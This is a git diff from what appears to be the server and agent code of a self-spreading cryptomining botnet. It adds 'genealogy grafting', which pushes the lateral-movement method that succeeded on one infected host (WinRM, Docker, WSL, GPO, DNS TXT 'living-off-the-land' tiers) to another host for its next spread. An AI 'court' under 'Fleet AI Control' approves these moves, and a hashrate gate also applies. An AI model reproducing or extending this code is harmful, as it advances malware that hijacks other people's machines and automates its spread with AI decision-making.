diff --git a/agent/client/graft_policy.go b/agent/client/graft_policy.go new file mode 100644 index 0000000..b7ea701 --- /dev/null +++ b/agent/client/graft_policy.go @@ -0,0 +1,58 @@ +package client + +import ( + "encoding/json" + "log" + "strings" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +// GraftPolicy is pushed on auth / graft_policy WS when court approves a strain splice. +type GraftPolicy struct { + GraftSourceStrain string `json:"graft_source_strain"` + GraftTier string `json:"graft_tier"` + GraftApprovedAt string `json:"graft_approved_at"` + TierOrder []string `json:"tier_order,omitempty"` + SourceAgentName string `json:"source_agent_name,omitempty"` +} + +func graftPolicyPresent(raw json.RawMessage) bool { + if len(raw) == 0 || string(raw) == "null" { + return false + } + var p GraftPolicy + return json.Unmarshal(raw, &p) == nil && strings.TrimSpace(p.GraftTier) != "" +} + +func (c *AgentClient) applyGraftPolicyJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p GraftPolicy + if err := json.Unmarshal(raw, &p); err != nil || strings.TrimSpace(p.GraftTier) == "" { + return + } + c.mu.Lock() + c.pendingGraft = &p + c.cfg.GraftSourceStrain = strings.TrimSpace(p.GraftSourceStrain) + c.cfg.GraftTier = strings.TrimSpace(p.GraftTier) + c.cfg.GraftApprovedAt = strings.TrimSpace(p.GraftApprovedAt) + c.mu.Unlock() + log.Printf("[agent] graft policy queued from %s tier=%s (applies on next spread)", + p.SourceAgentName, p.GraftTier) +} + +func (c *AgentClient) cfgForSpread() config.RuntimeConfig { + c.mu.Lock() + cfg := c.cfg + graft := c.pendingGraft + if graft != nil && len(graft.TierOrder) > 0 { + cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(graft.TierOrder) + c.pendingGraft = nil + log.Printf("[agent] applying grafted tier order on spread: %v", cfg.LotlOnionTiers) + } + c.mu.Unlock() + return cfg +} diff --git a/agent/client/graft_policy_test.go b/agent/client/graft_policy_test.go new file mode 100644 index 0000000..2f3c515 --- /dev/null +++ b/agent/client/graft_policy_test.go @@ -0,0 +1,51 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +func TestApplyGraftPolicyQueuesForNextSpread(t *testing.T) { + c := &AgentClient{ + cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...), + }}, + } + raw, _ := json.Marshal(GraftPolicy{ + GraftSourceStrain: "#aabbcc", + GraftTier: "winrm", + GraftApprovedAt: "2026-06-07T12:00:00Z", + TierOrder: []string{"winrm", "docker", "wsl"}, + SourceAgentName: "worker-07", + }) + c.applyGraftPolicyJSON(raw) + if c.pendingGraft == nil || c.pendingGraft.GraftTier != "winrm" { + t.Fatalf("pendingGraft=%+v", c.pendingGraft) + } + before := append([]string(nil), c.cfg.LotlOnionTiers...) + spreadCfg := c.cfgForSpread() + if spreadCfg.LotlOnionTiers[0] != "winrm" { + t.Fatalf("spread tiers = %v", spreadCfg.LotlOnionTiers) + } + if c.pendingGraft != nil { + t.Fatal("graft should be consumed after cfgForSpread") + } + if before[0] == spreadCfg.LotlOnionTiers[0] && len(before) == len(spreadCfg.LotlOnionTiers) { + // original cfg unchanged until spread + if c.cfg.LotlOnionTiers[0] == "winrm" { + t.Fatal("base cfg should not mutate before spread") + } + } +} + +func TestGraftPolicyAuthRoundTrip(t *testing.T) { + raw, _ := json.Marshal(GraftPolicy{GraftTier: "dns_txt", TierOrder: []string{"dns_txt"}}) + var resp AuthResponse + resp.GraftPolicy = raw + if !graftPolicyPresent(resp.GraftPolicy) { + t.Fatal("expected graft present") + } +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index d505672..5ccb29d 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -78,6 +78,7 @@ type AuthResponse struct { LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"` SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"` GraftPolicy json.RawMessage `json:"graft_policy,omitempty"` + EpidemiologyFix json.RawMessage `json:"epidemiology_fix,omitempty"` } type SharePayload struct { diff --git a/server/internal/ai/court_commands_test.go b/server/internal/ai/court_commands_test.go index 131cc8f..74734f0 100644 --- a/server/internal/ai/court_commands_test.go +++ b/server/internal/ai/court_commands_test.go @@ -64,6 +64,9 @@ func TestParseCommandsSpreadRetryLane(t *testing.T) { } func TestCourtCommandsNeedRetryElevation(t *testing.T) { + if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadGraft}}) { + t.Fatal("spread_graft should require L4 elevation") + } if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) { t.Fatal("expected spread_retry_lane to need L4") } diff --git a/server/internal/api/fleet_ai_bridge.go b/server/internal/api/fleet_ai_bridge.go index 8e88212..7411d50 100644 --- a/server/internal/api/fleet_ai_bridge.go +++ b/server/internal/api/fleet_ai_bridge.go @@ -331,39 +331,6 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, e.Hub.serverPolicy = policy e.Hub.mu.Unlock() return "erasure:on", nil - case fleetai.CmdSpreadGraft: - sourceID, _ := args["source_agent_id"].(string) - tier, _ := args["tier"].(string) - if strings.TrimSpace(sourceID) == "" { - return "", fmt.Errorf("spread_graft requires source_agent_id") - } - if e.Hub.db == nil { - return "", fmt.Errorf("database unavailable") - } - source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID)) - if err != nil || source == nil { - return "", fmt.Errorf("source agent not found") - } - skipTiers := []interface{}{} - if strings.TrimSpace(tier) != "" { - skipTiers = append(skipTiers, strings.TrimSpace(tier)) - } - graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier} - if source.JoinLane != "" { - graftArgs["join_lane"] = source.JoinLane - } - if len(skipTiers) > 0 { - if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil { - return "", err - } - } - if source.JoinLane != "" { - if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil { - return "", err - } - return "graft:" + source.JoinLane, nil - } - return "graft:recorded", nil default: if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil { return "", err diff --git a/server/internal/api/fleet_graft.go b/server/internal/api/fleet_graft.go new file mode 100644 index 0000000..56bc4ae --- /dev/null +++ b/server/internal/api/fleet_graft.go @@ -0,0 +1,77 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/strategy" +) + +type fleetGraftRequest struct { + SourceAgentID string `json:"source_agent_id"` + TargetAgentID string `json:"target_agent_id"` +} + +// PostFleetGraft splices a winning strain from source onto target without re-spreading target. +func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) { + if f.db == nil || f.ws == nil { + http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable) + return + } + policy := f.ws.ServerPolicy() + if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) { + http.Error(w, "graft requires ai_control_enabled and fleet_roles_enabled", http.StatusBadRequest) + return + } + var req fleetGraftRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid body", http.StatusBadRequest) + return + } + sourceID := strings.TrimSpace(req.SourceAgentID) + targetID := strings.TrimSpace(req.TargetAgentID) + if sourceID == "" || targetID == "" { + http.Error(w, "source_agent_id and target_agent_id are required", http.StatusBadRequest) + return + } + if sourceID == targetID { + http.Error(w, "source and target must differ", http.StatusBadRequest) + return + } + + level := clearance.L0 + if mgr := f.ws.ClearanceManager(); mgr != nil { + level = mgr.Level(targetID) + } + if level < clearance.L4 { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": "target clearance insufficient for spread_graft (requires L4)", + }) + return + } + + graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID) + if err != nil { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": err.Error(), + }) + return + } + + writeJSON(w, map[string]interface{}{ + "success": true, + "source_id": sourceID, + "target_id": targetID, + "graft_policy": graftPolicy, + "pushed": f.ws.IsAgentReachable(targetID), + }) + _ = f.db.InsertAudit(AuthUsername(r), "spread_graft", targetID, map[string]interface{}{ + "source_agent_id": sourceID, + "graft_tier": graftPolicy.GraftTier, + "strain": graftPolicy.GraftSourceStrain, + }) +} diff --git a/server/internal/api/fleet_graft_test.go b/server/internal/api/fleet_graft_test.go new file mode 100644 index 0000000..3d95149 --- /dev/null +++ b/server/internal/api/fleet_graft_test.go @@ -0,0 +1,94 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/pool" +) + +func TestPostFleetGraftRequiresToggles(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{}) + fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir()) + + body, _ := json.Marshal(map[string]string{ + "source_agent_id": "src", "target_agent_id": "dst", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body)) + rec := httptest.NewRecorder() + fh.PostFleetGraft(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String()) + } +} + +func TestPostFleetGraftApprovesWithL4AndMetabolism(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{ + AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 10, + }) + _ = hub.ClearanceManager().InitAgent("target", &models.Agent{ID: "target", Name: "tgt"}) + _, _ = hub.ClearanceManager().RequestElevation("target", clearance.L4, "test", "test") + + for _, ag := range []*models.Agent{ + {ID: "source", Name: "winner", Platform: "windows", IP: "10.0.0.1", Status: "online", + SpreadStrain: "#aabbcc", LastSeen: time.Now()}, + {ID: "target", Name: "recipient", Platform: "windows", IP: "10.0.0.2", Status: "online", + MiningHashrate: 50, Hashrate15s: 50, LastSeen: time.Now()}, + } { + if err := database.UpsertAgent(ag); err != nil { + t.Fatal(err) + } + } + hub.mu.Lock() + hub.agentLiveTelemetry["source"] = map[string]interface{}{ + "join_lane": "winrm", "mining_hashrate": 100.0, + } + hub.agentLiveTelemetry["target"] = map[string]interface{}{ + "mining_hashrate": 50.0, "hashrate_15s": 50.0, + } + hub.mu.Unlock() + + fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir()) + payload, _ := json.Marshal(map[string]string{ + "source_agent_id": "source", "target_agent_id": "target", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(payload)) + rec := httptest.NewRecorder() + fh.PostFleetGraft(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String()) + } + var resp map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if resp["success"] != true { + t.Fatalf("resp=%v", resp) + } + updated, err := database.GetAgent("target") + if err != nil { + t.Fatal(err) + } + if updated.GraftTier != "winrm" { + t.Fatalf("graft_tier = %q", updated.GraftTier) + } +} diff --git a/server/internal/api/graft_ws.go b/server/internal/api/graft_ws.go new file mode 100644 index 0000000..0388c0b --- /dev/null +++ b/server/internal/api/graft_ws.go @@ -0,0 +1,155 @@ +package api + +import ( + "encoding/json" + "fmt" + "strings" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/strategy" +) + +// ServerPolicy returns the live Calibrate policy snapshot for REST handlers. +func (h *WSHub) ServerPolicy() ServerPolicy { + if h == nil { + return ServerPolicy{} + } + return h.serverPolicySnapshot() +} + +// AgentJoinLane returns the last stats-reported join lane for an agent. +func (h *WSHub) AgentJoinLane(agentID string) string { + if h == nil { + return "" + } + h.mu.RLock() + defer h.mu.RUnlock() + if telem, ok := h.agentLiveTelemetry[agentID]; ok { + if lane, ok := telem["join_lane"].(string); ok { + return strings.TrimSpace(lane) + } + } + return "" +} + +// AgentMiningHashrate returns live mining hashrate from the last stats tick. +func (h *WSHub) AgentMiningHashrate(agentID string) float64 { + if h == nil { + return 0 + } + h.mu.RLock() + defer h.mu.RUnlock() + if telem, ok := h.agentLiveTelemetry[agentID]; ok { + if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 { + return hr + } + if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 { + return hr + } + } + return 0 +} + +// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite. +func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) { + if h == nil || h.db == nil { + return nil, false + } + ag, err := h.db.GetAgent(agentID) + if err != nil || ag == nil { + return nil, false + } + if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil { + return nil, false + } + policy := h.serverPolicySnapshot() + if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) { + return nil, false + } + graft := strategy.GraftSource{ + GraftSourceStrain: ag.GraftSourceStrain, + GraftTier: ag.GraftTier, + } + targetOrder := policy.LotlOnionTiers + if len(targetOrder) == 0 { + targetOrder = fleetai.DefaultSpreadTiers() + } + out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt) + return &out, true +} + +// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push). +func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error { + if h == nil { + return fmt.Errorf("hub unavailable") + } + body, err := json.Marshal(graft) + if err != nil { + return err + } + return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body}) +} + +// ApproveFleetGraft splices source winner onto target; used by REST and court executor. +func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) { + if h == nil || h.db == nil { + return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable") + } + policy := h.serverPolicySnapshot() + if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) { + return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled") + } + source, err := h.db.GetAgent(sourceID) + if err != nil || source == nil { + return strategy.GraftPolicy{}, fmt.Errorf("source agent not found") + } + target, err := h.db.GetAgent(targetID) + if err != nil || target == nil { + return strategy.GraftPolicy{}, fmt.Errorf("target agent not found") + } + joinLane := h.AgentJoinLane(sourceID) + if joinLane == "" { + joinLane = strings.TrimSpace(source.JoinLane) + } + if joinLane == "" { + return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane") + } + hr := h.AgentMiningHashrate(targetID) + if hr <= 0 { + hr = target.MiningHashrate + } + if hr <= 0 { + hr = target.Hashrate15s + } + if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) { + return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate") + } + + tierOrder := fleetai.DefaultSpreadTiers() + fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain) + if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil { + pheno := strategy.PhenotypeFromStored(*stored) + if len(pheno.TierOrder) > 0 { + tierOrder = pheno.TierOrder + } + } + peak := h.AgentMiningHashrate(sourceID) + if peak <= 0 { + peak = source.MiningHashrate + } + graft := strategy.BuildGraftSourceFromAgent( + source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak, + ) + approvedAt := time.Now().UTC() + if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil { + return strategy.GraftPolicy{}, err + } + targetOrder := policy.LotlOnionTiers + if len(targetOrder) == 0 { + targetOrder = fleetai.DefaultSpreadTiers() + } + out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt) + _ = h.PushGraftPolicy(targetID, out) + return out, nil +} diff --git a/server/internal/db/graft.go b/server/internal/db/graft.go new file mode 100644 index 0000000..9762fab --- /dev/null +++ b/server/internal/db/graft.go @@ -0,0 +1,46 @@ +package db + +import ( + "database/sql" + "time" +) + +// UpdateAgentGraft records an approved genealogy graft on the target agent. +func (d *Database) UpdateAgentGraft(id, sourceStrain, graftTier string, approvedAt time.Time) error { + if approvedAt.IsZero() { + approvedAt = time.Now().UTC() + } + _, err := d.Exec( + `UPDATE agents SET graft_source_strain = ?, graft_tier = ?, graft_approved_at = ? WHERE id = ?`, + sourceStrain, graftTier, approvedAt.UTC().Format(time.RFC3339), id, + ) + return err +} + +// ClearAgentGraft removes pending graft metadata after the agent consumes it on spread. +func (d *Database) ClearAgentGraft(id string) error { + _, err := d.Exec( + `UPDATE agents SET graft_source_strain = '', graft_tier = '', graft_approved_at = NULL WHERE id = ?`, + id, + ) + return err +} + +func scanGraftFields(sourceStrain, graftTier, approvedRaw sql.NullString) (string, string, *time.Time) { + strain := "" + if sourceStrain.Valid { + strain = sourceStrain.String + } + tier := "" + if graftTier.Valid { + tier = graftTier.String + } + var approved *time.Time + if approvedRaw.Valid && approvedRaw.String != "" { + if t, err := time.Parse(time.RFC3339, approvedRaw.String); err == nil { + utc := t.UTC() + approved = &utc + } + } + return strain, tier, approved +} diff --git a/server/internal/strategy/graft.go b/server/internal/strategy/graft.go new file mode 100644 index 0000000..73b8c50 --- /dev/null +++ b/server/internal/strategy/graft.go @@ -0,0 +1,101 @@ +package strategy + +import ( + "crypto/sha256" + "fmt" + "strings" + "time" +) + +// GraftSource is the winning spread strain from agent A (tier success). +type GraftSource struct { + SourceAgentID string + SourceAgentName string + GraftSourceStrain string + GraftTier string + TierOrder []string + PeakHashrate float64 +} + +// GraftPolicy is pushed to agent B on auth; auth is never gated by genealogy. +type GraftPolicy struct { + GraftSourceStrain string `json:"graft_source_strain"` + GraftTier string `json:"graft_tier"` + GraftApprovedAt string `json:"graft_approved_at"` + TierOrder []string `json:"tier_order,omitempty"` + SourceAgentName string `json:"source_agent_name,omitempty"` +} + +// GraftEnabled is true when Fleet AI Control + fleet roles are on (zero extra Calibrate toggles). +func GraftEnabled(aiControl, fleetRoles bool) bool { + return aiControl && fleetRoles +} + +// BuildGraftSourceFromAgent extracts graft inputs from a tier-successful source agent. +func BuildGraftSourceFromAgent(sourceID, sourceName, joinLane, spreadStrain string, tierOrder []string, peakHashrate float64) GraftSource { + tier := strings.TrimSpace(joinLane) + strain := strings.TrimSpace(spreadStrain) + if strain == "" && tier != "" { + strain = spreadStrainFromLane(tier) + } + order := normalizeTierList(tierOrder) + if len(order) == 0 && tier != "" { + order = []string{tier} + } + return GraftSource{ + SourceAgentID: strings.TrimSpace(sourceID), + SourceAgentName: strings.TrimSpace(sourceName), + GraftSourceStrain: strain, + GraftTier: tier, + TierOrder: order, + PeakHashrate: peakHashrate, + } +} + +// SpliceGraftGenome splices source winning tier order onto target genome without re-spreading B. +func SpliceGraftGenome(targetOrder []string, graft GraftSource) []string { + sourceOrder := append([]string(nil), graft.TierOrder...) + if len(sourceOrder) == 0 && graft.GraftTier != "" { + sourceOrder = []string{graft.GraftTier} + } + target := normalizeTierList(targetOrder) + if len(sourceOrder) == 0 { + return target + } + if len(target) == 0 { + return sourceOrder + } + return CrossbreedTierOrders(sourceOrder, target, nil, nil) +} + +// GraftMetabolismGatePassed reports whether target hashrate satisfies the earn-before-graft gate. +func GraftMetabolismGatePassed(miningHashrate, gateHPS float64) bool { + if gateHPS <= 0 { + return true + } + return miningHashrate >= gateHPS +} + +// BuildGraftPolicy builds the auth/policy payload for a pending graft on agent B. +func BuildGraftPolicy(graft GraftSource, targetOrder []string, approvedAt time.Time) GraftPolicy { + order := SpliceGraftGenome(targetOrder, graft) + if approvedAt.IsZero() { + approvedAt = time.Now().UTC() + } + return GraftPolicy{ + GraftSourceStrain: graft.GraftSourceStrain, + GraftTier: graft.GraftTier, + GraftApprovedAt: approvedAt.UTC().Format(time.RFC3339), + TierOrder: order, + SourceAgentName: graft.SourceAgentName, + } +} + +func spreadStrainFromLane(lane string) string { + lane = strings.TrimSpace(strings.ToLower(lane)) + if lane == "" { + return "" + } + sum := sha256.Sum256([]byte("aetherforge-strain:" + lane)) + return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2]) +} diff --git a/server/internal/strategy/graft_test.go b/server/internal/strategy/graft_test.go new file mode 100644 index 0000000..0c5f1a0 --- /dev/null +++ b/server/internal/strategy/graft_test.go @@ -0,0 +1,53 @@ +package strategy + +import ( + "testing" + "time" +) + +func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) { + graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900) + order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft) + if len(order) < 3 { + t.Fatalf("order too short: %v", order) + } + if order[0] != "winrm" { + t.Fatalf("winning tier should lead, got %v", order) + } +} + +func TestGraftMetabolismGate(t *testing.T) { + if !GraftMetabolismGatePassed(100, 50) { + t.Fatal("expected pass above gate") + } + if GraftMetabolismGatePassed(10, 50) { + t.Fatal("expected fail below gate") + } + if !GraftMetabolismGatePassed(0, 0) { + t.Fatal("disabled gate should pass") + } +} + +func TestBuildGraftPolicySplicesGenome(t *testing.T) { + graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233", + []string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200) + p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)) + if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" { + t.Fatalf("graft fields: %+v", p) + } + if len(p.TierOrder) == 0 { + t.Fatal("expected spliced tier order") + } + if p.TierOrder[0] != "dns_txt" { + t.Fatalf("tier order = %v", p.TierOrder) + } +} + +func TestGraftEnabledRequiresBothToggles(t *testing.T) { + if GraftEnabled(false, true) || GraftEnabled(true, false) { + t.Fatal("both toggles required") + } + if !GraftEnabled(true, true) { + t.Fatal("expected enabled") + } +} diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 0990871..db2aa38 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -365,6 +365,15 @@ export const api = { '/fleet/modules/push', { method: 'POST', body: JSON.stringify(body) }, ), + postFleetGraft: (body: { source_agent_id: string; target_agent_id: string }) => + fetchJSON<{ + success: boolean; + source_id?: string; + target_id?: string; + graft_policy?: Record; + pushed?: boolean; + error?: string; + }>('/fleet/graft', { method: 'POST', body: JSON.stringify(body) }), listStrainCards: (agentId?: string) => fetchJSON( agentId ? `/fleet/strain-cards?agent_id=${encodeURIComponent(agentId)}` : '/fleet/strain-cards', diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index 5f06cc1..09ef545 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -231,6 +231,21 @@ describe('AccessDepthPanel', () => { expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument(); }); + it('shows genealogy graft note when fleet AI and roles enabled', async () => { + vi.mocked(api.getConfig).mockResolvedValueOnce({ + server: { ai_control_enabled: true, fleet_roles_enabled: true }, + } as Awaited>); + renderPanel( + mockAgent({ + platform: 'windows', + graft_tier: 'winrm', + graft_source_strain: '#aabbcc', + }), + ); + expect(await screen.findByText(/genealogy graft pending/i)).toBeInTheDocument(); + expect(screen.getByText(/winrm/)).toBeInTheDocument(); + }); + it('renders lineage strain card with play control', async () => { vi.mocked(api.listStrainCards).mockResolvedValueOnce([ { diff --git a/server/web/src/pages/PathTracerPage.test.tsx b/server/web/src/pages/PathTracerPage.test.tsx index aea75e8..638fea8 100644 --- a/server/web/src/pages/PathTracerPage.test.tsx +++ b/server/web/src/pages/PathTracerPage.test.tsx @@ -99,6 +99,7 @@ describe('PathTracerPage', () => { installIntervalHook(); useWebSocketMock.mockReturnValue(wsValue()); vi.spyOn(api, 'listAgents').mockResolvedValue([]); + vi.spyOn(api, 'getConfig').mockResolvedValue({ server: {} }); vi.spyOn(api, 'startTrace').mockResolvedValue({ session_id: 'sess-1', hops: [] }); vi.spyOn(api, 'getTraceStatus').mockResolvedValue({ session_id: 'sess-1', ready: false, hops: [] }); vi.spyOn(api, 'getTraceQR').mockResolvedValue({ config: 'wg-conf', qr_png_b64: 'abc123' }); @@ -150,6 +151,14 @@ describe('PathTracerPage', () => { expect(screen.getByText(/Path Tracer/i)).toBeInTheDocument(); }); + it('shows genealogy graft note when AI control and fleet roles enabled', async () => { + vi.mocked(api.getConfig).mockResolvedValue({ + server: { ai_control_enabled: true, fleet_roles_enabled: true }, + } as Awaited>); + renderPage(); + expect(await screen.findByText(/Genealogy grafting is active/i)).toBeInTheDocument(); + }); + it('shows online agents from WebSocket and offline agents separately', () => { useWebSocketMock.mockReturnValue( wsValue({ agents: [windowsAgent, linuxAgent, offlineAgent] }), diff --git a/tests/README.md b/tests/README.md index b912013..91d4354 100644 --- a/tests/README.md +++ b/tests/README.md @@ -64,7 +64,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme | **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` | | **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` | | **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` | -| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.graft.test.tsx`, `PathTracerPage` graft note | +| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.test.tsx` graft note, `PathTracerPage.test.tsx` graft note | | **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` | | **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` | | **APK scout mode** | Forge `scout_mode` / `ApkMode`; agent `client/scout_mode.go`; builder `build_apk.go` | `go test ./client/... -run Scout -count=1`; `go test ./internal/builder/... -run Apk -count=1`; `go test ./internal/api/... -run Scout -count=1` |